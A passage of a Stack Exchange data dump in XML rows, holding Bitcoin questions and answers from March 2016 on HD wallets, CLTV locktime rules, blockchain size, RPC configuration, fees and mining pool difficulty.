  <row Id="43305" PostTypeId="2" ParentId="43277" CreationDate="2016-03-11T16:35:17.710" Score="1" Body="&lt;p&gt;If you want to accept and hold bitcoins it is trivial to generate a large number of addresses offline and feed the public addresses (not the private keys) to the web developer.  He would not have any access to the funds.  Also as suggested in the comments you could use an &lt;a href=&quot;https://en.bitcoin.it/wiki/Deterministic_wallet&quot; rel=&quot;nofollow&quot;&gt;HD wallet&lt;/a&gt; and provide the XPUB key to the developer.  This would allow him to generate only the addresses that you have private keys for.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example the &lt;a href=&quot;https://electrum.org/#download&quot; rel=&quot;nofollow&quot;&gt;electrum wallet&lt;/a&gt; is an HD wallet that would provide the required capabilities.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-03-11T16:35:17.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43306" PostTypeId="2" ParentId="43304" CreationDate="2016-03-11T16:46:14.947" Score="0" Body="&lt;p&gt;This part of the book is referencing blockchain reorgs (reorganization). This occurs when a node determines that it is no longer validating the longest chain.  When a node sees that there is a new longest chain on the network it moves over and begins verifying the blocks.  This can cause previously mined blocks to be orphaned.  Often times this only occurs at the tip (the last couple of blocks) of the blockchain.  When a block is a 100 deep into the blockchain, the risk of a reorganization that goes back that far is very unlikely, and, therefore, it is very unlikely that the block will become invalidated (orphaned).     &lt;/p&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="30323" LastEditDate="2016-03-13T14:52:48.957" LastActivityDate="2016-03-13T14:52:48.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43307" PostTypeId="2" ParentId="36737" CreationDate="2016-03-11T17:17:09.227" Score="1" Body="&lt;p&gt;There is a project called &lt;a href=&quot;https://github.com/aantonop/wifiportal21&quot; rel=&quot;nofollow&quot;&gt;wifiportal21&lt;/a&gt; that uses the &lt;a href=&quot;https://21.co/buy/&quot; rel=&quot;nofollow&quot;&gt;21 Bitcoin computer&lt;/a&gt; in conjunction with an OpenWRT router running the wifidog captive portal software.  This is still in beta at this time, but seems to suit your application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also worth noting that OpenWRT does have the ability to create a separate network that cannot pass traffic to the main network, and works with RADIUS authentication.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="6256" LastEditDate="2016-09-08T14:07:23.500" LastActivityDate="2016-09-08T14:07:23.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43308" PostTypeId="1" AcceptedAnswerId="43326" CreationDate="2016-03-11T17:19:02.190" Score="2" ViewCount="243" Body="&lt;p&gt;I am running full bitcoin node locally. Currently, the size of the blockchain is around 70 GB.&#xA;&lt;a href=&quot;https://blockchain.info/charts/blocks-size?timespan=all&quot; rel=&quot;nofollow&quot;&gt;Blockchain size&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, I stored all the blocks in a text file in json format. It turned out that the size of this text file is around 10 GB. I am wondering what is the rest of the 60 GB used for?&lt;/p&gt;&#xA;" OwnerUserId="32636" LastActivityDate="2016-03-13T02:34:21.757" Title="blockchain size issue" Tags="|bitcoind|blockchain|blockchain.info|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="43309" PostTypeId="2" ParentId="32840" CreationDate="2016-03-11T17:34:18.657" Score="1" Body="&lt;p&gt;As you have correctly noticed none of the Bitcoin exchanges have implemented the FIDO standards there is not a large demand for this feature from what I gather.  If the standard were to gain mass adoption and many users began requesting it I'm sure it would become a greater priority for exchanges to implement.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note the Ledger hardware wallet does support the U2F standard and would be a great way to improve the security of your wallet (as long as you don't connect the two to each other (i.e. same keychain)).&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2016-03-11T17:34:18.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43310" PostTypeId="2" ParentId="30015" CreationDate="2016-03-11T17:47:32.517" Score="1" Body="&lt;p&gt;Edit:&#xA;Blockchain.info is &lt;a href=&quot;https://github.com/blockchain/My-Wallet/blob/ddbb0995fbdb2b5f22bef9eb92a26e2bfefb6e00/account.js#L90&quot; rel=&quot;nofollow&quot;&gt;open source&lt;/a&gt;, the algorithm is public. The mnemonic that they use stores information about your wallet id and your password only. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previous answer: You should read into &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP 39&lt;/a&gt; this covers how mnemonics map to the values that are used to create a &lt;a href=&quot;https://en.bitcoin.it/wiki/Deterministic_wallet&quot; rel=&quot;nofollow&quot;&gt;HD wallet&lt;/a&gt; the algorithm is very well known and corresponds to the size of the key space needed for wallet generation.  There are generally &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt&quot; rel=&quot;nofollow&quot;&gt;2048 words&lt;/a&gt; in the wordlist used to create a wallet. A 12 word seed generates 128 bits of information (and 4 check bits). That's 11 bits per word from a list of 2048 words. &lt;/p&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="6256" LastEditDate="2016-03-15T16:23:51.963" LastActivityDate="2016-03-15T16:23:51.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43315" PostTypeId="1" AcceptedAnswerId="43320" CreationDate="2016-03-12T15:24:59.713" Score="0" ViewCount="141" Body="&lt;p&gt;I have three full-nodes running Core 0.12.0 that I'm considering moving over to Classic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I right in thinking that Classic is binary-compatible with an existing blockchain download?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would I be able to just uninstall bitcoind from the Core PPA and install it again using the Classic PPA?&lt;/p&gt;&#xA;" OwnerUserId="10750" LastActivityDate="2016-03-12T16:57:14.560" Title="Is Bitcoin Classic binary-compatible with Bitcoin Core?" Tags="|bitcoin-core|bitcoin-classic|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43317" PostTypeId="1" CreationDate="2016-03-12T15:47:29.937" Score="0" ViewCount="82" Body="&lt;p&gt;Sites like &lt;a href=&quot;http://xtnodes.com/&quot; rel=&quot;nofollow&quot;&gt;http://xtnodes.com/&lt;/a&gt; are tracking which versions of Bitcoin software are being used to create blocks. Where are they looking in the block structure to determine which software version generated the block?&lt;/p&gt;&#xA;" OwnerUserId="33852" LastActivityDate="2016-05-11T17:26:56.067" Title="How can you tell a block is Classic vs Core?" Tags="|block|bitcoin-classic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43318" PostTypeId="2" ParentId="43122" CreationDate="2016-03-12T16:14:14.053" Score="0" Body="&lt;p&gt;I was able to compile Bitcoin Classic from source and got it up and running with these steps: &lt;a href=&quot;https://gist.github.com/redsquirrel/75b5192764b17c6ea265&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/redsquirrel/75b5192764b17c6ea265&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33852" LastActivityDate="2016-03-12T16:14:14.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43319" PostTypeId="2" ParentId="43317" CreationDate="2016-03-12T16:19:45.553" Score="1" Body="&lt;p&gt;Ah, not surprisingly, it's in the block's &quot;version&quot; field. It looks like core blocks are versioned as &quot;v4&quot;, while &quot;classic&quot; blocks are versioned as &quot;v805306368&quot; and &quot;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0109.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP109&lt;/a&gt;&quot;.&lt;/p&gt;&#xA;" OwnerUserId="33852" LastActivityDate="2016-03-12T16:19:45.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43320" PostTypeId="2" ParentId="43315" CreationDate="2016-03-12T16:57:14.560" Score="1" Body="&lt;p&gt;Since Bitcoin Classic is a fork of Bitcoin Core, this should indeed be possible. The problem though is that, should Bitcoin Classic switch to larger blocks and Bitcoin Core stick with small blocks then it will not be possible to switch back without Bitcoin Core downloading the whole chain again. But in that case we are quite in trouble anyway :-)&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-03-12T16:57:14.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43321" PostTypeId="2" ParentId="43294" CreationDate="2016-03-12T17:50:11.000" Score="5" Body="&lt;p&gt;Taking a stab at answering my own question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both the transaction using OP_CHECKLOCKTIMEVERIFY in its output script and the one spending OP_CHECKLOCKTIMEVERIFY can be mined immediately in most cases. The output script will probably be used in a P2SH (pay to script hash) so no one will even know that CLTV is even used--only the hash will be visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On to spending that CLTV output...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The goal of CLTV is to lock up funds until a certain time. For instance, I want to have a joint account with a business partner that requires two signatures to spend, but after a certain time the funds are spendable by just one signature (in case one of us disappears).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was expecting to see a comparison between the CLTV time and the current block time, but all I found was a comparison to nLockTime:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (nLockTime &amp;gt; (int64_t)txTo-&amp;gt;nLockTime)&#xA;        return false;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Traditionally, there's no reason to create a transaction with nLockTime set (non-zero) because that transaction would only be spendable in the future. In the case of a CLTV input past its expiration, I can spend it &lt;em&gt;immediately&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a transaction that sources the CLTV output (that's already been in the block chain for some time). &lt;/li&gt;&#xA;&lt;li&gt;Set the nLockTime to the current block time. We're basically using nLockTime to pass in the current block time.&lt;/li&gt;&#xA;&lt;li&gt;Set the seq number to something other than the max. This handles a special case where max'd seq numbers allow transactions with nLockTimes set earlier than the current block time to be mined.&lt;/li&gt;&#xA;&lt;li&gt;The transaction will pass verification because txTo-&gt;nLockTime &gt; nLockTime (the CLTV time in the script).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that a transaction with OP_CHECKLOCKTIMEVERIFY in a scriptSig input may have nLockTime set to 0, because it's not using that code path in the script. Many protocols have logic like &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;spendable with 2 signatures or just 1 signature after x date.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So 2 signature might be used rather than waiting for the date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance: &lt;a href=&quot;https://api.blockcypher.com/v1/btc/main/txs/7b8846797d9c43c7c89543dda13ad5f8742f0068c56c0fa884692a62fe81a79c?limit=50&amp;amp;includeHex=true&quot; rel=&quot;noreferrer&quot;&gt;https://api.blockcypher.com/v1/btc/main/txs/7b8846797d9c43c7c89543dda13ad5f8742f0068c56c0fa884692a62fe81a79c?limit=50&amp;amp;includeHex=true&lt;/a&gt; has a script with OP_CHECKLOCKTIMEVERIFY, but its nLockTime is 0, and seq is max. (2^32 -1 ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference: locktime and sequence specification: &lt;a href=&quot;https://bitcoin.org/en/developer-guide#locktime-and-sequence-number&quot; rel=&quot;noreferrer&quot;&gt;https://bitcoin.org/en/developer-guide#locktime-and-sequence-number&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5091" LastActivityDate="2016-03-12T17:50:11.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43322" PostTypeId="2" ParentId="42276" CreationDate="2016-03-12T18:02:29.503" Score="1" Body="&lt;p&gt;A safe alternative would be to pre-generate a large number of public wallet addresses offline in your client, then loop through those when displaying them on your website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;That way your private keys are completely safe.&lt;/strong&gt;  This is the best option in my opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could generate &lt;em&gt;a lot&lt;/em&gt; of keys locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enforce the goal of no 2 transactions per key, you could write a script to check the public address for usage before delivering it to the user.  If the address has already been used, remove it from your list of addresses that you deliver.&lt;/p&gt;&#xA;" OwnerUserId="6375" LastActivityDate="2016-03-12T18:02:29.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43323" PostTypeId="2" ParentId="40706" CreationDate="2016-03-12T18:29:06.343" Score="3" Body="&lt;p&gt;mulllhausen's answer is great, but here's a shorter example that illustrates why the vin seq number can't be final or maxed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose I want to spend a CLTV output. I wait until the CLTV time has passed, and then create a transaction with nLockTime set to the current block time, and the sequence number set to something less than 2^32-1, say 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that transaction will verify because &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CLTV time &amp;lt;= tx.nLockTime &amp;lt;= current block time&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We're basically using nLockTime as a proxy for the current block time to say current block time is past the CLTV time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I set all my seq numbers to max, I would be able to submit a transaction with an nLockTime in the future, ie, greater than current block time, thereby bypassing the CLTV time. nLockTime must be &amp;lt;= to current block time if not all seq numbers are maxed. So by checking to make sure at least one Vin Seq number is not final, we make sure they all aren't maxed, allowing this bypass scenario.&lt;/p&gt;&#xA;" OwnerUserId="5091" LastActivityDate="2016-03-12T18:29:06.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43324" PostTypeId="2" ParentId="9068" CreationDate="2016-03-12T22:47:21.270" Score="2" Body="&lt;p&gt;Not seeing any trivial answers here. Here's what i did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use API CALL &quot;getblockchaininfo&quot;&#xA;Parameter &quot;verificationprogress&quot; will be ~= 1.0, if you are synced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: this appears to be based on time, your clock will need to be somewhat accurate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I check that it is &gt;= 0.999 to determine if i'm in sync.&lt;/p&gt;&#xA;" OwnerUserId="33861" LastActivityDate="2016-03-12T22:47:21.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="43325" PostTypeId="2" ParentId="43216" CreationDate="2016-03-12T23:23:45.197" Score="1" Body="&lt;p&gt;Without indication if your &lt;code&gt;bitcoin.conf&lt;/code&gt; belongs to the client or server, I leave you some guidance on what to check:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure your &lt;b&gt;server&lt;/b&gt; &lt;code&gt;bitcoin.conf&lt;/code&gt; has the following line:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;rpcallowip=your.client.ip.address&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Both &lt;b&gt;server and client&lt;/b&gt; &lt;code&gt;bitcoin.conf&lt;/code&gt; should contain the same &lt;code&gt;rpcuser&lt;/code&gt; and &lt;code&gt;rpcpassword&lt;/code&gt; lines&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;rpcuser=foo&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;rpcpassword=bar&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure your &lt;B&gt;client&lt;/b&gt; &lt;code&gt;bitcoin.conf&lt;/code&gt; has the following line:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;rpcconnect=your.server.ip.address&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="33833" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-03-12T23:23:45.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43326" PostTypeId="2" ParentId="43308" CreationDate="2016-03-13T02:34:21.757" Score="2" Body="&lt;p&gt;Your code stores only the results of the &lt;code&gt;getblock&lt;/code&gt; call. This returns the block headers and the tx hashes of the block, but &lt;a href=&quot;https://chainquery.com/bitcoin-api/getblock&quot; rel=&quot;nofollow&quot;&gt;NOT the actual tx's themselves&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each transaction hash is only 8 bytes, an actual transaction is roughly 500 bytes, so you're missing about 500 bytes per tx in each block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been &lt;a href=&quot;https://blockchain.info/charts/n-transactions-total&quot; rel=&quot;nofollow&quot;&gt;about 116 million transactions&lt;/a&gt; in the history of bitcoin, so 500 * 116 million ~ 60 billion bytes or about 60 GB that you're missing.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2016-03-13T02:34:21.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43327" PostTypeId="2" ParentId="6031" CreationDate="2016-03-13T02:52:26.380" Score="0" Body="&lt;p&gt;I'm not sure what exchanges offer in this area however both &lt;a href=&quot;http://mybitprices.info&quot; rel=&quot;nofollow&quot;&gt;mybitprices.info&lt;/a&gt; and &lt;a href=&quot;http://libratax.com/&quot; rel=&quot;nofollow&quot;&gt;LibraTax&lt;/a&gt; offer a mechanism by which you can find all transactions for your wallet and their historical fiat prices no matter the source in downloadable format.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do larger exchanges, Mt.Gox or Bitcoin-central, issue a printable document with this information?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="31594" LastActivityDate="2016-03-13T02:52:26.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43328" PostTypeId="2" ParentId="41329" CreationDate="2016-03-13T03:00:28.340" Score="1" Body="&lt;p&gt;Both &lt;a href=&quot;http://mybitprices.info&quot; rel=&quot;nofollow&quot;&gt;mybitprices.info&lt;/a&gt; and &lt;a href=&quot;http://libratax.com&quot; rel=&quot;nofollow&quot;&gt;LibraTax&lt;/a&gt; are both websites that can automatically generate schedule D reports for bitcoin wallets or single addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/dan-da/bitprices&quot; rel=&quot;nofollow&quot;&gt;bitprices&lt;/a&gt; is the open-source software behind mybitprices.info and can be run on your own computer.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;is there any software that can do this automatically?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="31594" LastActivityDate="2016-03-13T03:00:28.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43329" PostTypeId="2" ParentId="8712" CreationDate="2016-03-13T04:22:33.800" Score="0" Body="&lt;p&gt;I know two things for sure:  1)  The blockchain will continue to grow.  and 2) when I installed the Bitcoin core yesterday, on a fresh new computer, it told me to allow for the initial amount to be 80GB.  For me, the only reason that matters is because I get charged extra by the cable company.  And it also tells me how long to expect it to take before that original load is finished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The OP said it was 7GB in 2013.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, #1 is true - it will grow.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the wild card appears to be the work factor doubling this summer.  The last time it doubled was 2012.  But that was before the big guns started mining.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it becomes more expensive to mine for the same earnings, it should be obvious that there will be fewer miners, which translates into longer clearance times.  In fact, we're seeing it already as people position themselves for the new reality to come.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The good change is that the powers that be are also considering doubling the block sizes.  That will translate to longer times before transactions get posted and verified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet the blockchain size may continue to grow at a linear rate.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am curious about the basis for this question.  The OP didn't explain why the size of the blockchain was of interest.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Speaking for myself, I believe the longer clearance times will totally devastate the nascent BTC economy.  We'll never see transaction rates like VISA (thousands per second).  6 months ago the blockchain wasn't even quite at 100 tps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Face it, dealing directly with the blockchain at the point of sale will never work - your coffee would get cold long before the store could be sure you had the ability to pay.  This is why third party card issuers can work to keep blockchain issues from spilling over to customer service issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers, all&lt;/p&gt;&#xA;" OwnerUserId="33867" LastActivityDate="2016-03-13T04:22:33.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43330" PostTypeId="2" ParentId="38999" CreationDate="2016-03-13T13:43:50.793" Score="0" Body="&lt;p&gt;The step you're missing is actually generating the public keys, since addresses are just hashes of a public key. Mycelium uses BIP39 with BIP32 to produce deterministic public keys, using the BIP44 scheme AFAICT. The following example does the same in PHP using the composer package: bitwasp/bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I maintain the library in question.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use BitWasp\Bitcoin\Bitcoin;&#xA;use BitWasp\Bitcoin\Mnemonic\Bip39;&#xA;use BitWasp\Bitcoin\Mnemonic\MnemonicFactory;&#xA;use BitWasp\Bitcoin\Key\Deterministic\HierarchicalKeySequence;&#xA;use BitWasp\Bitcoin\Key\Deterministic\HierarchicalKeyFactory;&#xA;&#xA;$generate = true;&#xA;$math = Bitcoin::getMath();&#xA;$bip39 = MnemonicFactory::bip39();&#xA;&#xA;if ($generate) {&#xA;    $mnemonic = $bip39-&amp;gt;create();&#xA;} else {&#xA;    $mnemonic = 'glad car usual air stomach again ecology champion ranch radar meadow wolf shrug film over glue chalk derive inform always ivory anchor jaguar umbrella floor topple click polar grid economy hint raccoon canal nose organ prepare differ escape utility major dirt scan soul shiver mention raw smoke rhythm';&#xA;}&#xA;&#xA;// Produce HD root key from mnemonic&#xA;$entropy = $bip39-&amp;gt;mnemonicToEntropy($mnemonic);&#xA;$hdRoot = HierarchicalKeyFactory::fromEntropy($entropy);&#xA;&#xA;// Lets derive a branch: &#xA;$sequence = new HierarchicalKeySequence($math);&#xA;// purpose' / coin_type' / account' / change / ...&#xA;$branch = $hdRoot-&amp;gt;deriveFromList($sequence-&amp;gt;decodePath('44h/0h/0/0'));&#xA;&#xA;// Now lets print the first 5&#xA;for ($i = 0; $i &amp;lt; 5; $i++) {&#xA;    $child = $branch-&amp;gt;deriveChild($i);&#xA;    echo $child-&amp;gt;getPublicKey()-&amp;gt;getAddress()-&amp;gt;getAddress() . &quot;\n&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2016-03-13T13:43:50.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43331" PostTypeId="1" CreationDate="2016-03-13T16:19:09.127" Score="3" ViewCount="7485" Body="&lt;p&gt;I'm using Electrum and want to purchase something with Bitcoins. When I get to the bitpay screen with all the details (And the timer) I input the information into the electrum client, which then generates a Fee for the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: I need to send an exact amount, will the fee take the amount straight out of the amount being sent (And therefore send too low an amount) or do I need to add the fee to the amount being sent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e Let's say the site requests exactly 0.05 bitcoins, fee is 0.02. Do I send 0.07 and let it take the fee, or do I send 0.05 and it takes the fee out of the wallet another way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="33882" LastEditorUserId="5406" LastEditDate="2016-08-11T06:58:38.310" LastActivityDate="2016-12-10T06:17:43.293" Title="Should I include the fee in the sent bitcoin amount?" Tags="|transaction-fees|electrum|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43333" PostTypeId="2" ParentId="42881" CreationDate="2016-03-13T20:15:30.420" Score="1" Body="&lt;p&gt;The answer above is correct but doesn't explain anything to the user as to why they can't just type &lt;code&gt;bitcoind&lt;/code&gt; in the first place. This doesn't help people at all and future people will just follow this blindly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To understand why some commands can be typed in without the full path you must understand the &lt;code&gt;$PATH&lt;/code&gt; environment variable. A very good writeup on it was done here &lt;a href=&quot;http://www.linfo.org/path_env_var.html&quot; rel=&quot;nofollow&quot;&gt;http://www.linfo.org/path_env_var.html&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A short explination is that &lt;code&gt;$PATH&lt;/code&gt; lets you define what paths on your computer are searched for executable files. You can see what the current searched paths are by typing &lt;code&gt;echo $PATH&lt;/code&gt; into your terminal. Here is an example from mine.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $PATH&#xA;/Users/mschuett/Uber/phacility/arcanist/bin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/Users/mschuett/bin:/usr/local/bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each directory is separated by a &lt;code&gt;:&lt;/code&gt; and if a path at &lt;code&gt;/Users/mschuett/bin&lt;/code&gt; and &lt;code&gt;/usr/local/bin&lt;/code&gt; both included a binary called &lt;code&gt;test-command&lt;/code&gt; it would always use the test command found in &lt;code&gt;/Users/mschuett/bin&lt;/code&gt; since it comes first in the $PATH string. To add more directories to your $PATH you can simply write..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export $PATH=$PATH:/opt/bitcoin/bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now all executables at this path are available without typing the full path. To see what path an executable is being run from you can use &lt;code&gt;which bitcoind&lt;/code&gt; and it will output the full path that is used when you run &lt;code&gt;bitcoind&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps actually explain what is going on.&lt;/p&gt;&#xA;" OwnerUserId="11189" LastActivityDate="2016-03-13T20:15:30.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43334" PostTypeId="2" ParentId="43331" CreationDate="2016-03-14T04:42:45.360" Score="1" Body="&lt;p&gt;The fee is going to be separate from the amount. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using your exmaple:&#xA;If you need to send bitpay 0.05 btc, you enter 0.05 for the amount field and 0.02 for the fee field. &lt;strong&gt;Do not send bitpay 0.07 btc&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you specify a fee of 0.02 btc and you only have 0.06 btc combined in all of your addresses, electrum will alert you that you don't have enough. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that the fee is something that you decide you want to include. It is not a fixed value, but there is a minimum if you want to get your transaction included into a block in a reasonable amount of time. Looking at the current block, 402557, transaction fees look like they are around 0.001 btc. The fee can depend on a couple of things like age of coins, size of transaction, and/or how fast you want your transaction included. You may also want to increase the fee since more and more blocks are reaching the size limit and miners will favor a more profitable transaction.&lt;/p&gt;&#xA;" OwnerUserId="33898" LastActivityDate="2016-03-14T04:42:45.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43339" PostTypeId="1" CreationDate="2016-03-14T14:25:12.393" Score="1" ViewCount="901" Body="&lt;p&gt;Can we argue that, since the difficulty set by pools is lower than the actual one, &quot;old&quot; hardware remain profitable for longer and thus are used for more time. And this, indirectly, increases the actual hash rate of the entire network? (and thus difficulty as well?)&lt;/p&gt;&#xA;" OwnerUserId="33911" LastEditorUserId="2306" LastEditDate="2017-04-25T20:01:17.463" LastActivityDate="2017-04-25T20:01:17.463" Title="Difficulty set by pools" Tags="|mining-pools|mining-hardware|difficulty|hashpower|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="43342" PostTypeId="2" ParentId="43339" CreationDate="2016-03-14T14:55:46.817" Score="1" Body="&lt;p&gt;No, you see the difficulty of a pool is lower in order for the pool to be able to verify that the miners are actually working on a solution. The shares a miner obtains are mostly not valid blocks, which is what gets rewarded in Bitcoin, paid out to the pool and then paid to the miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difficulty to create a block is not influenced by a pool's share difficulty, hence the total payouts the pool makes does not change, and old hardware is just as (un-)profitable.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-03-14T14:55:46.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="43343" PostTypeId="2" ParentId="43339" CreationDate="2016-03-14T15:48:31.153" Score="1" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although technically the profitability of old hardware doesn't change, it's just that the variance becomes killing if your hash rate is too low. Getting 0.1 BTC per day or having a 1 in 250 days chance of getting 25 BTC, changes the game from a lottery to a steady predictable income.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This also has the effect of allowing small miners (even with new hardware) to play along.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, both those effects do increase the total hash rate of the network and thus the difficulty. And in that regard the security and decentralization of the network. Except that in most pool solutions, the pool maintainer needs to be trusted as a &quot;centralized&quot; party. Mixed blessing there.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-03-14T15:48:31.153" CommentCount="1" ContentLicense="CC BY-SA 